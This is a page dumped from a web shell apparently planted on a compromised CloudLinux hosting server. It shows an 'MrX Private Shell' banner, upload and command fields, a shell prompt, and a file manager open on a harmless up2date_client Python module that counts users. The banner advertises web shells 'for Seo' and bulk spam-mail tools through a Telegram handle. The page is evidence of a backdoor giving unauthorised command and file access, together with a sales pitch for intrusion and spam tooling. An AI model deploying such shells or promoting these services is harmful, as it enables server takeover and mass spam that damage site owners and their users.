__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

aptanhua@216.73.216.196: ~ $
import os
from subprocess import PIPE, Popen


def get_users_count_from_cllib():
    """
    Get user count using the common CloudLinux library.
    This number is more accurate for systems
    with a control panel installed.
    """
    if not os.path.exists('/opt/cloudlinux/venv/bin'):
        raise ValueError("CloudLinux virtual environment not found")

    cmd = '/opt/cloudlinux/venv/bin/python3 -c "from clcommon.cpapi import cpusers; print(cpusers())"'
    process = Popen(cmd, shell=True, stdout=PIPE, stderr=PIPE)
    output, errors = [result.decode().strip() for result in process.communicate()]

    if errors:
        raise ValueError(f"Failed to get users from CloudLinux library: {errors}")

    return len(output[1:-1].split(', '))


def get_users_count_generic():
    """
    Fallback method to get the user count
    by looking into the /etc/passwd file.
    """
    from up2date_client.clpwd import ClPwd
    pwd = ClPwd()
    return len(pwd.get_uid_dict())


def count_server_users():
    """
    Get the total count of users on the server.
    Tries the CloudLinux library first, falls back to generic method if it fails.
    """
    try:
        users_count = get_users_count_from_cllib()
    except Exception:
        users_count = get_users_count_generic()
    return users_count

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
__init__.py File 0 B 0644
clpwd.py File 3.56 KB 0644
config.py File 13.26 KB 0644
hardware.py File 5.09 KB 0644
pkgplatform.py File 309 B 0644
rhncli.py File 7.46 KB 0644
rhnreg.py File 10.52 KB 0644
rhnserver.py File 8.54 KB 0644
rpcServer.py File 11.1 KB 0644
statistics.py File 1.27 KB 0644
up2dateAuth.py File 10.49 KB 0644
up2dateErrors.py File 7.99 KB 0644
up2dateLog.py File 2.06 KB 0644
up2dateUtils.py File 1.73 KB 0644